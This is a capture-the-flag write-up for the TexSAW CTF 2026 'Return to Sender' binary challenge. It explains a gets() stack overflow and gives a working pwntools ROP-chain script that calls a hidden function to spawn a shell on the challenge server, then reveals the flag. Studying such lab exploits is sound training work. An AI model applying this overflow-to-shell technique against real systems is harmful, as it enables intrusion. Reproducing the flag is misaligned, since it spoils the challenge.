TexSAW CTF 2026 Return to Sender

Do you ever wonder what happens to your packages? So does your mail carrier.

nc 143.198.163.4 15858

Flag format: texsaw{example_flag}

Solution

1. Initial Analysis

We start by analyzing the binary’s protections:

1
$ checksec chall
  • No Stack Canary: This means we can easily overwrite the return address on the stack.
  • NX Disabled: The stack is executable, but we don’t necessarily need shellcode for this exploit.
  • PIE Disabled: Function addresses are static and will not change between runs.

2. Identifying Vulnerabilities

Using objdump and nm, we identify several interesting functions:

  • main: The entry point.
  • deliver: Called by main; uses the unsafe gets() function to read input into a 32-byte buffer.
  • drive: A hidden function that checks an argument and, if correct, calls system("/bin/sh").
  • tool: Contains a useful ROP gadget: pop rdi; ret.

The vulnerable deliver function looks like this:

1
2
3
4
5
6
int deliver() {
char s1[32]; // [rsp+0h] [rbp-20h] BYREF
// ...
gets(s1); // VULNERABILITY: No length check!
// ...
}

Since gets() does not check the input length, we can provide a payload larger than 32 bytes to overwrite the saved instruction pointer on the stack.

3. Exploitation Strategy

The drive() function is our target:

1
2
3
4
5
int __fastcall drive(__int64 a1) {
if (a1 != 0x48435344) // "HCSD"
return puts("Need the secret key to deliver this package.\n");
return system("/bin/sh");
}

To get a shell, we need to call drive(0x48435344). In the x86-64 calling convention, the first argument is passed in the RDI register.

Our ROP Chain Plan:

  1. Overwrite the return address with the address of a pop rdi; ret gadget.
  2. Provide the value 0x48435344 as the next item on the stack (to be popped into RDI).
  3. Include a ret gadget for stack alignment (often necessary for system() calls in 64-bit glibc).
  4. Finally, call the drive function.

4. Exploit Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

context.binary = binary = ELF('./chall')

# Found addresses
pop_rdi_ret = 0x4011be
ret_gadget = 0x4011bf
drive_addr = 0x401211
secret_arg = 0x48435344

# Padding: 32 bytes (buffer) + 8 bytes (saved RBP) = 40 bytes
payload = b"A" * 40
payload += p64(ret_gadget) # Stack alignment
payload += p64(pop_rdi_ret) # Gadget to set RDI
payload += p64(secret_arg) # The argument "HCSD"
payload += p64(drive_addr) # Call drive()

# Connect and exploit
p = remote('143.198.163.4', 15858)
p.recvuntil(b"2 Canary Court\n\n")
p.sendline(payload)
p.interactive()

Flag

texsaw{sm@sh_st4ck_2_r3turn_to_4nywh3re_y0u_w4nt}